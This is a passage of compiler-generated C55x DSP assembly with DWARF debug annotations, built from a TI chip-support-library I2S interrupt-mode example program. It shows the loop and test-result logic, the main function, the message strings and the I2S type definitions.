.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 259,column 4,is_stmt
MOV #1, *SP(#2) ; |259|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 260,column 4,is_stmt
MOV *SP(#2), T0 ; |260|
B $C$L17 ; |260|
; branch occurs ; |260|
$C$L14:
$C$DW$L$_i2s_IntcSample$22$B:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 254,column 42,is_stmt
ADD #1, *SP(#18) ; |254|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 254,column 16,is_stmt
MOV *SP(#18), AR1 ; |254|
|| MOV #4, AR2
CMPU AR1 < AR2, TC1 ; |254|
BCC $C$L13,TC1 ; |254|
; branchcc occurs ; |254|
$C$DW$L$_i2s_IntcSample$22$E:
$C$L15:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 264,column 2,is_stmt
CMP *SP(#18) == #4, TC1 ; |264|
BCC $C$L16,!TC1 ; |264|
; branchcc occurs ; |264|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 266,column 3,is_stmt
AMOV #$C$FSL8, XAR3 ; |266|
MOV XAR3, dbl(*SP(#0))
$C$DW$92 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$92, DW_AT_low_pc(0x00)
.dwattr $C$DW$92, DW_AT_name("_printf")
.dwattr $C$DW$92, DW_AT_TI_call
CALL #_printf ; |266|
; call occurs [#_printf] ; |266|
$C$L16:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 269,column 2,is_stmt
MOV #0, T0
$C$L17:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 270,column 1,is_stmt
AADD #29, SP
.dwcfi cfa_offset, 1
$C$DW$93 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$93, DW_AT_low_pc(0x00)
.dwattr $C$DW$93, DW_AT_TI_return
RET
; return occurs
$C$DW$94 .dwtag DW_TAG_TI_loop
.dwattr $C$DW$94, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\CSL_I2S_IntcExample.asm:$C$L13:1:1538287772")
.dwattr $C$DW$94, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c")
.dwattr $C$DW$94, DW_AT_TI_begin_line(0xfe)
.dwattr $C$DW$94, DW_AT_TI_end_line(0x106)
$C$DW$95 .dwtag DW_TAG_TI_loop_range
.dwattr $C$DW$95, DW_AT_low_pc($C$DW$L$_i2s_IntcSample$20$B)
.dwattr $C$DW$95, DW_AT_high_pc($C$DW$L$_i2s_IntcSample$20$E)
$C$DW$96 .dwtag DW_TAG_TI_loop_range
.dwattr $C$DW$96, DW_AT_low_pc($C$DW$L$_i2s_IntcSample$22$B)
.dwattr $C$DW$96, DW_AT_high_pc($C$DW$L$_i2s_IntcSample$22$E)
.dwendtag $C$DW$94
$C$DW$97 .dwtag DW_TAG_TI_loop
.dwattr $C$DW$97, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\CSL_I2S_IntcExample.asm:$C$L9:1:1538287772")
.dwattr $C$DW$97, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c")
.dwattr $C$DW$97, DW_AT_TI_begin_line(0xda)
.dwattr $C$DW$97, DW_AT_TI_end_line(0xda)
$C$DW$98 .dwtag DW_TAG_TI_loop_range
.dwattr $C$DW$98, DW_AT_low_pc($C$DW$L$_i2s_IntcSample$12$B)
.dwattr $C$DW$98, DW_AT_high_pc($C$DW$L$_i2s_IntcSample$12$E)
.dwendtag $C$DW$97
$C$DW$99 .dwtag DW_TAG_TI_loop
.dwattr $C$DW$99, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\CSL_I2S_IntcExample.asm:$C$L7:1:1538287772")
.dwattr $C$DW$99, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c")
.dwattr $C$DW$99, DW_AT_TI_begin_line(0xcf)
.dwattr $C$DW$99, DW_AT_TI_end_line(0xcf)
$C$DW$100 .dwtag DW_TAG_TI_loop_range
.dwattr $C$DW$100, DW_AT_low_pc($C$DW$L$_i2s_IntcSample$10$B)
.dwattr $C$DW$100, DW_AT_high_pc($C$DW$L$_i2s_IntcSample$10$E)
.dwendtag $C$DW$99
$C$DW$101 .dwtag DW_TAG_TI_loop
.dwattr $C$DW$101, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\CSL_I2S_IntcExample.asm:$C$L3:1:1538287772")
.dwattr $C$DW$101, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c")
.dwattr $C$DW$101, DW_AT_TI_begin_line(0x8d)
.dwattr $C$DW$101, DW_AT_TI_end_line(0x91)
$C$DW$102 .dwtag DW_TAG_TI_loop_range
.dwattr $C$DW$102, DW_AT_low_pc($C$DW$L$_i2s_IntcSample$2$B)
.dwattr $C$DW$102, DW_AT_high_pc($C$DW$L$_i2s_IntcSample$2$E)
.dwendtag $C$DW$101
.dwattr $C$DW$60, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c")
.dwattr $C$DW$60, DW_AT_TI_end_line(0x10e)
.dwattr $C$DW$60, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$60
.sect ".text"
.align 4
.global _main
$C$DW$103 .dwtag DW_TAG_subprogram, DW_AT_name("main")
.dwattr $C$DW$103, DW_AT_low_pc(_main)
.dwattr $C$DW$103, DW_AT_high_pc(0x00)
.dwattr $C$DW$103, DW_AT_TI_symbol_name("_main")
.dwattr $C$DW$103, DW_AT_external
.dwattr $C$DW$103, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c")
.dwattr $C$DW$103, DW_AT_TI_begin_line(0x11b)
.dwattr $C$DW$103, DW_AT_TI_begin_column(0x06)
.dwattr $C$DW$103, DW_AT_TI_max_frame_size(0x04)
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 284,column 1,is_stmt,address _main
.dwfde $C$DW$CIE, _main
;*******************************************************************************
;* FUNCTION NAME: main *
;* *
;* Function Uses Regs : T0,AR1,AR3,XAR3,SP,M40,SATA,SATD,RDM,FRCT,SMUL *
;* Stack Frame : Compact (No Frame Pointer, w/ debug) *
;* Total Frame Size : 4 words *
;* (1 return address/alignment) *
;* (2 function parameters) *
;* (1 local values) *
;* Min System Stack : 1 word *
;*******************************************************************************
_main:
.dwcfi cfa_offset, 1
.dwcfi save_reg_to_mem, 91, -1
AADD #-3, SP
.dwcfi cfa_offset, 4
$C$DW$104 .dwtag DW_TAG_variable, DW_AT_name("status")
.dwattr $C$DW$104, DW_AT_TI_symbol_name("_status")
.dwattr $C$DW$104, DW_AT_type(*$C$DW$T$86)
.dwattr $C$DW$104, DW_AT_location[DW_OP_bregx 0x24 2]
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 287,column 2,is_stmt
AMOV #$C$FSL9, XAR3 ; |287|
MOV XAR3, dbl(*SP(#0))
$C$DW$105 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$105, DW_AT_low_pc(0x00)
.dwattr $C$DW$105, DW_AT_name("_printf")
.dwattr $C$DW$105, DW_AT_TI_call
CALL #_printf ; |287|
; call occurs [#_printf] ; |287|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 289,column 2,is_stmt
$C$DW$106 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$106, DW_AT_low_pc(0x00)
.dwattr $C$DW$106, DW_AT_name("_IRQ_globalDisable")
.dwattr $C$DW$106, DW_AT_TI_call
CALL #_IRQ_globalDisable ; |289|
; call occurs [#_IRQ_globalDisable] ; |289|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 290,column 2,is_stmt
$C$DW$107 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$107, DW_AT_low_pc(0x00)
.dwattr $C$DW$107, DW_AT_name("_i2s_IntcSample")
.dwattr $C$DW$107, DW_AT_TI_call
CALL #_i2s_IntcSample ; |290|
; call occurs [#_i2s_IntcSample] ; |290|
MOV T0, *SP(#2) ; |290|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 291,column 2,is_stmt
MOV T0, AR1
BCC $C$L18,AR1 == #0 ; |291|
; branchcc occurs ; |291|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 293,column 3,is_stmt
AMOV #$C$FSL10, XAR3 ; |293|
MOV XAR3, dbl(*SP(#0))
$C$DW$108 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$108, DW_AT_low_pc(0x00)
.dwattr $C$DW$108, DW_AT_name("_printf")
.dwattr $C$DW$108, DW_AT_TI_call
CALL #_printf ; |293|
; call occurs [#_printf] ; |293|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 296,column 9,is_stmt
MOV #0, *(#_PaSs_StAtE) ; |296|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 298,column 2,is_stmt
B $C$L19 ; |298|
; branch occurs ; |298|
$C$L18:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 301,column 3,is_stmt
AMOV #$C$FSL11, XAR3 ; |301|
MOV XAR3, dbl(*SP(#0))
$C$DW$109 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$109, DW_AT_low_pc(0x00)
.dwattr $C$DW$109, DW_AT_name("_printf")
.dwattr $C$DW$109, DW_AT_TI_call
CALL #_printf ; |301|
; call occurs [#_printf] ; |301|
$C$L19:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 304,column 2,is_stmt
$C$DW$110 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$110, DW_AT_low_pc(0x00)
.dwattr $C$DW$110, DW_AT_name("_IRQ_globalDisable")
.dwattr $C$DW$110, DW_AT_TI_call
CALL #_IRQ_globalDisable ; |304|
; call occurs [#_IRQ_globalDisable] ; |304|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 307,column 9,is_stmt
MOV *(#_PaSs_StAtE), AR1 ; |307|
MOV AR1, *(#_PaSs) ; |307|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 312,column 1,is_stmt
AADD #3, SP
.dwcfi cfa_offset, 1
$C$DW$111 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$111, DW_AT_low_pc(0x00)
.dwattr $C$DW$111, DW_AT_TI_return
RET
; return occurs
.dwattr $C$DW$103, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c")
.dwattr $C$DW$103, DW_AT_TI_end_line(0x138)
.dwattr $C$DW$103, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$103
;*******************************************************************************
;* FAR STRINGS *
;*******************************************************************************
.sect ".const:.string"
.align 2
$C$FSL1: .string "I2S Read Successful",10,0
.align 2
$C$FSL2: .string "I2S Write Successful",10,0
.align 2
$C$FSL3: .string "I2S Module Instance Open Successful",10,0
.align 2
$C$FSL4: .string "I2S Module Configuration Successful",10,0
.align 2
$C$FSL5: .string "I2S Reset Successful",10,0
.align 2
$C$FSL6: .string "I2S Close Successful",10,0
.align 2
$C$FSL7: .string "I2S Read & Write Buffers doesn't Match!!!",10,0
.align 2
$C$FSL8: .string "I2S Read & Write Buffers Match!!!",10,0
.align 2
$C$FSL9: .string "CSL I2S INTERRUPT MODE TEST!",10,10,0
.align 2
$C$FSL10: .string 10,"CSL I2S INTERRUPT MODE TEST FAILED!!",10,10,0
.align 2
$C$FSL11: .string 10,"CSL I2S INTERRUPT MODE TEST PASSED!!",10,10,0
;******************************************************************************
;* UNDEFINED EXTERNAL REFERENCES *
;******************************************************************************
.global _I2S_open
.global _I2S_setup
.global _I2S_close
.global _I2S_read
.global _I2S_write
.global _I2S_reset
.global _I2S_transEnable
.global _IRQ_plug
.global _IRQ_clearAll
.global _IRQ_disable
.global _IRQ_disableAll
.global _IRQ_enable
.global _IRQ_setVecs
.global _IRQ_globalDisable
.global _IRQ_globalEnable
.global _printf
.global _VECSTART
;*******************************************************************************
;* TYPE INFORMATION *
;*******************************************************************************
$C$DW$T$25 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$25, DW_AT_byte_size(0x01)
$C$DW$112 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_INSTANCE0"), DW_AT_const_value(0x00)
$C$DW$113 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_INSTANCE1"), DW_AT_const_value(0x01)
$C$DW$114 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_INSTANCE2"), DW_AT_const_value(0x02)
$C$DW$115 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_INSTANCE3"), DW_AT_const_value(0x03)
$C$DW$116 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_INVALID"), DW_AT_const_value(0x04)
.dwendtag $C$DW$T$25
$C$DW$T$26 .dwtag DW_TAG_typedef, DW_AT_name("I2S_Instance")
.dwattr $C$DW$T$26, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$26, DW_AT_language(DW_LANG_C)
$C$DW$T$27 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$27, DW_AT_byte_size(0x01)
$C$DW$117 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_POLLED"), DW_AT_const_value(0x00)
$C$DW$118 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_INTERRUPT"), DW_AT_const_value(0x01)
$C$DW$119 .dwtag DW_TAG_enumerator, DW_AT_name("DMA_POLLED"), DW_AT_const_value(0x02)
$C$DW$120 .dwtag DW_TAG_enumerator, DW_AT_name("DMA_INTERRUPT"), DW_AT_const_value(0x03)
$C$DW$121 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_OPMODE_OTHER"), DW_AT_const_value(0x04)
.dwendtag $C$DW$T$27
$C$DW$T$28 .dwtag DW_TAG_typedef, DW_AT_name("I2S_OpMode")
.dwattr $C$DW$T$28, DW_AT_type(*$C$DW$T$27)
.dwattr $C$DW$T$28, DW_AT_language(DW_LANG_C)
$C$DW$T$29 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$29, DW_AT_byte_size(0x01)
$C$DW$122 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_CHAN_MONO"), DW_AT_const_value(0x00)
$C$DW$123 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_CHAN_STEREO"), DW_AT_const_value(0x01)
$C$DW$124 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_CHAN_UNDEF"), DW_AT_const_value(0x02)
.dwendtag $C$DW$T$29
$C$DW$T$30 .dwtag DW_TAG_typedef, DW_AT_name("I2S_ChanType")
.dwattr $C$DW$T$30, DW_AT_type(*$C$DW$T$29)
.dwattr $C$DW$T$30, DW_AT_language(DW_LANG_C)
$C$DW$T$34 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$34, DW_AT_byte_size(0x01)
$C$DW$125 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_DATAPACK_DISABLE"), DW_AT_const_value(0x00)
$C$DW$126 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_DATAPACK_ENABLE"), DW_AT_const_value(0x01)
.dwendtag $C$DW$T$34
$C$DW$T$35 .dwtag DW_TAG_typedef, DW_AT_name("I2S_DatapackType")
.dwattr $C$DW$T$35, DW_AT_type(*$C$DW$T$34)
.dwattr $C$DW$T$35, DW_AT_language(DW_LANG_C)
$C$DW$T$36 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$36, DW_AT_byte_size(0x01)
$C$DW$127 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_FSDIV8"), DW_AT_const_value(0x00)
$C$DW$128 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_FSDIV16"), DW_AT_const_value(0x01)
$C$DW$129 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_FSDIV32"), DW_AT_const_value(0x02)
$C$DW$130 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_FSDIV64"), DW_AT_const_value(0x03)
$C$DW$131 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_FSDIV128"), DW_AT_const_value(0x04)
$C$DW$132 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_FSDIV256"), DW_AT_const_value(0x05)
$C$DW$133 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_FSDIV_RESERVE"), DW_AT_const_value(0x06)
.dwendtag $C$DW$T$36
$C$DW$T$37 .dwtag DW_TAG_typedef, DW_AT_name("I2S_Fsdiv")
.dwattr $C$DW$T$37, DW_AT_type(*$C$DW$T$36)
.dwattr $C$DW$T$37, DW_AT_language(DW_LANG_C)
$C$DW$T$38 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$38, DW_AT_byte_size(0x01)
$C$DW$134 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_WORDLEN_8"), DW_AT_const_value(0x00)
$C$DW$135 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_WORDLEN_10"), DW_AT_const_value(0x01)
$C$DW$136 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_WORDLEN_12"), DW_AT_const_value(0x02)
$C$DW$137 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_WORDLEN_14"), DW_AT_const_value(0x03)
$C$DW$138 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_WORDLEN_16"), DW_AT_const_value(0x04)
$C$DW$139 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_WORDLEN_18"), DW_AT_const_value(0x05)
$C$DW$140 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_WORDLEN_20"), DW_AT_const_value(0x06)
$C$DW$141 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_WORDLEN_24"), DW_AT_const_value(0x07)
$C$DW$142 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_WORDLEN_32"), DW_AT_const_value(0x08)
$C$DW$143 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_WORDLEN_INVALID"), DW_AT_const_value(0x09)
.dwendtag $C$DW$T$38
$C$DW$T$39 .dwtag DW_TAG_typedef, DW_AT_name("I2S_WordLen")
.dwattr $C$DW$T$39, DW_AT_type(*$C$DW$T$38)
.dwattr $C$DW$T$39, DW_AT_language(DW_LANG_C)
$C$DW$T$40 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$40, DW_AT_byte_size(0x01)
$C$DW$144 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_LOOPBACK_DISABLE"), DW_AT_const_value(0x00)
$C$DW$145 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_LOOPBACK_ENABLE"), DW_AT_const_value(0x01)
.dwendtag $C$DW$T$40
$C$DW$T$41 .dwtag DW_TAG_typedef, DW_AT_name("I2S_LoopbackType")
.dwattr $C$DW$T$41, DW_AT_type(*$C$DW$T$40)
.dwattr $C$DW$T$41, DW_AT_language(DW_LANG_C)
$C$DW$T$44 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$44, DW_AT_byte_size(0x01)
$C$DW$146 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_STEREO_ENABLE"), DW_AT_const_value(0x00)
$C$DW$147 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_MONO_ENABLE"), DW_AT_const_value(0x01)
.dwendtag $C$DW$T$44
$C$DW$T$45 .dwtag DW_TAG_typedef, DW_AT_name("I2S_MonoType")
.dwattr $C$DW$T$45, DW_AT_type(*$C$DW$T$44)
.dwattr $C$DW$T$45, DW_AT_language(DW_LANG_C)
$C$DW$T$46 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$46, DW_AT_byte_size(0x01)
$C$DW$148 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_FSPOL_LOW"), DW_AT_const_value(0x00)
$C$DW$149 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_FSPOL_HIGH"), DW_AT_const_value(0x01)
.dwendtag $C$DW$T$46
$C$DW$T$47 .dwtag DW_TAG_typedef, DW_AT_name("I2S_FsyncPol")
.dwattr $C$DW$T$47, DW_AT_type(*$C$DW$T$46)
.dwattr $C$DW$T$47, DW_AT_language(DW_LANG_C)
$C$DW$T$48 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$48, DW_AT_byte_size(0x01)
$C$DW$150 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_RISING_EDGE"), DW_AT_const_value(0x00)
$C$DW$151 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_FALLING_EDGE"), DW_AT_const_value(0x01)
.dwendtag $C$DW$T$48
$C$DW$T$49 .dwtag DW_TAG_typedef, DW_AT_name("I2S_ClkPol")
.dwattr $C$DW$T$49, DW_AT_type(*$C$DW$T$48)
.dwattr $C$DW$T$49, DW_AT_language(DW_LANG_C)
$C$DW$T$50 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$50, DW_AT_byte_size(0x01)
$C$DW$152 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_DATADELAY_ONEBIT"), DW_AT_const_value(0x00)
$C$DW$153 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_DATADELAY_TWOBIT"), DW_AT_const_value(0x01)
.dwendtag $C$DW$T$50
$C$DW$T$51 .dwtag DW_TAG_typedef, DW_AT_name("I2S_DataDelay")
.dwattr $C$DW$T$51, DW_AT_type(*$C$DW$T$50)
.dwattr $C$DW$T$51, DW_AT_language(DW_LANG_C)
$C$DW$T$52 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$52, DW_AT_byte_size(0x01)
$C$DW$154 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_SIGNEXT_DISABLE"), DW_AT_const_value(0x00)
$C$DW$155 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_SIGNEXT_ENABLE"), DW_AT_const_value(0x01)
.dwendtag $C$DW$T$52
$C$DW$T$53 .dwtag DW_TAG_typedef, DW_AT_name("I2S_SignextType")
.dwattr $C$DW$T$53, DW_AT_type(*$C$DW$T$52)
.dwattr $C$DW$T$53, DW_AT_language(DW_LANG_C)
$C$DW$T$54 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$54, DW_AT_byte_size(0x01)
$C$DW$156 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_SLAVE"), DW_AT_const_value(0x00)
$C$DW$157 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_MASTER"), DW_AT_const_value(0x01)
.dwendtag $C$DW$T$54
$C$DW$T$55 .dwtag DW_TAG_typedef, DW_AT_name("I2S_Mode")
.dwattr $C$DW$T$55, DW_AT_type(*$C$DW$T$54)
.dwattr $C$DW$T$55, DW_AT_language(DW_LANG_C)
$C$DW$T$56 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$56, DW_AT_byte_size(0x01)
$C$DW$158 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_DATAFORMAT_LJUST"), DW_AT_const_value(0x00)
$C$DW$159 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_DATAFORMAT_DSP"), DW_AT_const_value(0x01)
.dwendtag $C$DW$T$56
$C$DW$T$57 .dwtag DW_TAG_typedef, DW_AT_name("I2S_DataFormat")
.dwattr $C$DW$T$57, DW_AT_type(*$C$DW$T$56)
.dwattr $C$DW$T$57, DW_AT_language(DW_LANG_C)
$C$DW$T$58 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$58, DW_AT_byte_size(0x01)
$C$DW$160 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_CLKDIV2"), DW_AT_const_value(0x00)
$C$DW$161 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_CLKDIV4"), DW_AT_const_value(0x01)
$C$DW$162 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_CLKDIV8"), DW_AT_const_value(0x02)
$C$DW$163 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_CLKDIV16"), DW_AT_const_value(0x03)
$C$DW$164 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_CLKDIV32"), DW_AT_const_value(0x04)
$C$DW$165 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_CLKDIV64"), DW_AT_const_value(0x05)
$C$DW$166 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_CLKDIV128"), DW_AT_const_value(0x06)
$C$DW$167 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_CLKDIV256"), DW_AT_const_value(0x07)
.dwendtag $C$DW$T$58
$C$DW$T$59 .dwtag DW_TAG_typedef, DW_AT_name("I2S_Clkdiv")
.dwattr $C$DW$T$59, DW_AT_type(*$C$DW$T$58)
.dwattr $C$DW$T$59, DW_AT_language(DW_LANG_C)
$C$DW$T$60 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$60, DW_AT_byte_size(0x01)
$C$DW$168 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_FSERROR_DISABLE"), DW_AT_const_value(0x00)
$C$DW$169 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_FSERROR_ENABLE"), DW_AT_const_value(0x01)
.dwendtag $C$DW$T$60
$C$DW$T$61 .dwtag DW_TAG_typedef, DW_AT_name("I2S_FsErr")
.dwattr $C$DW$T$61, DW_AT_type(*$C$DW$T$60)
.dwattr $C$DW$T$61, DW_AT_language(DW_LANG_C)
$C$DW$T$62 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$62, DW_AT_byte_size(0x01)
$C$DW$170 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_OUERROR_DISABLE"), DW_AT_const_value(0x00)
$C$DW$171 .dwtag DW_TAG_enumerator, DW_AT_name("I2S_OUERROR_ENABLE"), DW_AT_const_value(0x01)
.dwendtag $C$DW$T$62
$C$DW$T$63 .dwtag DW_TAG_typedef, DW_AT_name("I2S_OuErr")
.dwattr $C$DW$T$63, DW_AT_type(*$C$DW$T$62)
.dwattr $C$DW$T$63, DW_AT_language(DW_LANG_C)
$C$DW$T$24 .dwtag DW_TAG_structure_type
.dwattr $C$DW$T$24, DW_AT_byte_size(0x2e)
$C$DW$172 .dwtag DW_TAG_member
.dwattr $C$DW$172, DW_AT_type(*$C$DW$T$20)
.dwattr $C$DW$172, DW_AT_name("I2SSCTRL")
.dwattr $C$DW$172, DW_AT_TI_symbol_name("_I2SSCTRL")
.dwattr $C$DW$172, DW_AT_data_member_location[DW_OP_plus_uconst 0x0]
.dwattr $C$DW$172, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$173 .dwtag DW_TAG_member
.dwattr $C$DW$173, DW_AT_type(*$C$DW$T$21)
.dwattr $C$DW$173, DW_AT_name("RSVD0")
.dwattr $C$DW$173, DW_AT_TI_symbol_name("_RSVD0")
.dwattr $C$DW$173, DW_AT_data_member_location[DW_OP_plus_uconst 0x1]
.dwattr $C$DW$173, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$174 .dwtag DW_TAG_member
